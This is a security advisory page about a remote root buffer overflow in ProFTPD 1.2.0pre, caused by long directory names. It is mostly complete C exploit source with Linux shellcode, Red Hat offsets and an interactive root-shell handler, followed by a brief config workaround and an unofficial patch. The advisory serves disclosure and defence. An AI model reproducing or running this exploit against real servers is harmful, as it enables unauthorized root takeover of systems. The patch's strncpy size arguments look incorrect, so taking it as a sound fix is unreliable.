|
|
|
|
| |
| ProFTPD is an FTP daemon for UNIX and UNIX-like operating systems and although this FTP daemon was developed out of the desire to have a secure and configurable FTP server, a security hole in the daemon enables a remote attacker to gain root privileges. |
| |
Credit:
The exploit code has been provided by: acidrain at HACKBOX.COM.
The patch have been provided by: dumped.
The workaround has been provided by: Krzysztof Anton.
|
| |
By creating a directory containing arbitrary characters in the directory name, a remote attacker can gain root privileges on a remote server. This is done by overflowing the buffer used to store directory names, causing the program to execute arbitrary code.
The following exploit code enables administrators to test their system against the mentioned vulnerability:
------ start of exploit code ------
/*
* !!!! Private .. ... distribute !!!!
*
* <pro.c> proftpd-1.2.0 remote root exploit (beta2)
* (Still need some code, but it works fine)
*
* Offset: Linux Redhat 6.0
* 0 -> proftpd-1.2.0pre1
* 0 -> proftpd-1.2.0pre2
* 0 -> proftpd-1.2.0pre3
* (If this dont work, try changing the align)
*
* Usage:
* $ cc pro.c -o pro
* $ pro 1.1.1.1 ftp.linuz.com /incoming
*
* ****
* Comunists are still alive ph34r
* A lot of shit to : #cybernet@ircnet
* Greez to Soren,Draven,DaSnake,Nail^D0D,BlackBird,scaina,cliffo,m00n,phroid,Mr-X,inforic
* Dialtone,AlexB,naif,etcetc
* without them this puppy cant be spreaded uaz uaz uaz
* ****
*
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#define RET 0xbffff550
#define ALINEA 0
void logintoftp();
void sh();
void mkd(char *);
void put(char *);
int max(int, int);
char shellcode[] =
"\x90\x90\x31\xc0\x31\xdb\xb0\x17"
"\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0"
"\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0"
"\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10"
"\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10"
"\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";
char tmp[256];
char name[128], pass[128];
int sockfd;
struct sockaddr_in server, yo;
char inicio[20];
int main(int argc, char **argv) {
char sendln[1024], recvln[4048], buf1[1000], buf2[200];
struct hostent *host;
char *p, *q;
int len;
int offset = 0;
int align = 0;
int i;
if(argc < 4){
printf("usage: pro <your_ip> <host> <dir> [-l name pass] [offset align]\n");
printf("If dont work, try different align values (0 to 3)\n");
exit(0); }
if(argc >= 5){
if(strcmp(argv[4], "-l") == 0){
strncpy(name, argv[5], 128);
strncpy(pass, argv[6], 128);
} else {
offset = atoi(argv[4]); }
if(argc == 9)
offset = atoi(argv[7]);
align = atoi(argv[8]); }
sprintf(inicio, "%s", argv[1]);
if(name[0] == 0 && pass[0] == 0){
strcpy(name, "anonymous");
strcpy(pass, "a@a.es"); }
bzero(&server,sizeof(server));
bzero(recvln,sizeof(recvln));
bzero(sendln,sizeof(sendln));
server.sin_family=AF_INET;
server.sin_port=htons(21);
if((host = gethostbyname(argv[2])) != NULL) {
bcopy(host->h_addr, (char *)&server.sin_addr, host->h_length);
} else {
if((server.sin_addr.s_addr = inet_addr(argv[2]))<1) {
perror("Obteniendo ip");
exit(0); }
}
bzero((char*)&yo,sizeof(yo));
yo.sin_family = AF_INET;
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket()");
exit(0); }
if((bind(sockfd, (struct sockaddr *)&yo, sizeof(struct sockaddr)))<0) {
perror("bind()");
exit(0); }
if(connect(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0){
perror("connect()");
exit(0); }
printf("Destination_ip: %s \nDestination_port: %d\nSource_ip: %s \nSource_port: %d\n",
inet_ntoa(server.sin_addr), ntohs(server.sin_port), inet_ntoa(yo.sin_addr),
ntohs(yo.sin_port));
printf("Connected\n");
getchar();
while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
recvln[len] = '\0';
if(strchr(recvln, '\n') != NULL)
break; }
logintoftp(sockfd);
printf("Logged\n");
bzero(sendln, sizeof(sendln));
memset(buf1, 0x90, 800);
memcpy(buf1, argv[3], strlen(argv[3]));
mkd(argv[3]);
p = &buf1[strlen(argv[3])];
q = &buf1[799];
*q = '\x00';
while(p <= q) {
strncpy(tmp, p, 100);
mkd(tmp);
p+=100; }
mkd(shellcode);
mkd("bin");
mkd("sh");
memset(buf2, 0x90, 100);
for(i=4-ALINEA-align; i<96; i+=4)
*(long *)&buf2[i] = RET + offset;
p = &buf2[0];
q = &buf2[99];
strncpy(tmp, p, 100);
put(tmp);
sh(sockfd);
close(sockfd);
printf("EOF\n");
}
void mkd(char *dir) {
char snd[1024], rcv[1024];
char buf[1024], *p;
int n;
bzero(buf,sizeof(buf));
p=buf;
for(n=0;n<strlen(dir);n++) {
if(dir[n]=='\xff') {
*p='\xff';
p++; }
*p=dir[n];
p++; }
sprintf(snd,"MKD %s\r\n",buf);
write(sockfd,snd,strlen(snd));
bzero(snd,sizeof(snd));
sprintf(snd,"CWD %s\r\n",buf);
write(sockfd,snd,strlen(snd));
bzero(rcv,sizeof(rcv));
while((n=read(sockfd,rcv,sizeof(rcv)))>0) {
rcv[n]=0;
if(strchr(rcv,'\n')!=NULL)
break; }
return;
}
void put(char *dir) {
char snd[1024], rcv[1024];
char buf[1024], *p;
int n;
int sockete, nsock;
int port;
int octeto_in[4];
char *oct;
port=getpid()+1024;
yo.sin_port=htons(port);
bzero(buf,sizeof(buf));
p=buf;
for(n=0;n<strlen(dir);n++) {
if(dir[n]=='\xff') {
*p='\xff';
p++; }
*p=dir[n];
p++; }
oct=(char *)strtok(inicio,".");
octeto_in[0]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[1]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[2]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[3]=atoi(oct);
sprintf(snd,"PORT %d,%d,%d,%d,%d,%d\r\n",octeto_in[0],octeto_in[1],
octeto_in[2],octeto_in[3],port / 256,port % 256);
write(sockfd,snd,strlen(snd));
// socket
// bind
// listen
if((sockete=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
perror("Socket()");
exit(0); }
if((bind(sockete,(struct sockaddr *)&yo,sizeof(struct sockaddr)))==-1) {
perror("Bind()");
close(sockete);
exit(0); }
if(listen(sockete,10)==-1) {
perror("Listen()");
close(sockete);
exit(0); }
bzero(snd, sizeof(snd));
sprintf(snd, "STOR %s\r\n", buf);
write(sockfd, snd, strlen(snd));
// accept
// write
// close
if((nsock=accept(sockete,(struct sockaddr *)&server,(int *)sizeof(struct sockaddr)))==-1) {
perror("accept()");
close(sockete);
exit(0); }
write(nsock, "aaaaaaaaa", 10);
close(sockete);
close(nsock);
bzero(rcv, sizeof(rcv));
while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break; }
return;
}
void logintoftp() {
char snd[1024], rcv[1024];
int n;
printf("Logging %s/%s\n", name, pass);
memset(snd, '\0', 1024);
sprintf(snd, "USER %s\r\n", name);
write(sockfd, snd, strlen(snd));
while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break; }
memset(snd, '\0', 1024);
sprintf(snd, "PASS %s\r\n", pass);
write(sockfd, snd, strlen(snd));
while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break; }
return;
}
void sh() {
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(sockfd, snd, strlen(snd));
for(;;){
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = max(fileno(stdin), sockfd) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)){
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd)); }
if(FD_ISSET(sockfd, &rset)){
bzero(rcv, sizeof(rcv));
if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
printf("EOF.\n");
exit(0); }
if(n < 0){
perror("read()");
exit(-1); }
fputs(rcv, stdout); }
}
}
int max(int x, int y) {
if(x > y)
return(x);
else
return(y);
}
------ end of exploit code ------
Quick Workaround
If you want to disable this fast on your ProFTPD, just add:
PathAllowFilter ".*/[A-Za-z0-9]+-$"
Patch
The following is an unofficial patch that solves this problem:
--- proftpd-1.2.0pre2.orig/modules/mod_xfer.c Sun Aug 29 11:17:42 1999
+++ proftpd-1.2.0pre2/modules/mod_xfer.c Sun Aug 29 11:22:24 1999
@@ -28,6 +28,11 @@
* _translate_ascii was returning a buffer larger than the max buffer
* size causing memory overrun and all sorts of neat corruption.
* Status: Stomped
+ *
+ * 8/29/99 1.2.0pre2
+ *
+ * Fixed 2 exploitable buffer overflows
+ * dumped@sekure.org
*
*/
@@ -181,7 +186,7 @@
/* otherwise everthing is good */
p = mod_privdata_alloc(cmd,"stor_filename",strlen(dir)+1);
- strcpy(p->value.str_val,dir);
+ strncpy(p->value.str_val, dir, strlen(p->value.str_val));
return HANDLED(cmd);
}
@@ -374,7 +379,7 @@
/* otherwise everthing is good */
p = mod_privdata_alloc(cmd,"retr_filename",strlen(dir)+1);
- strcpy(p->value.str_val,dir);
+ strncpy(p->value.str_val,dir, sizeof(p->value.str_val));
return HANDLED(cmd);
}
|
|
|
|
|
|
|
|
|
|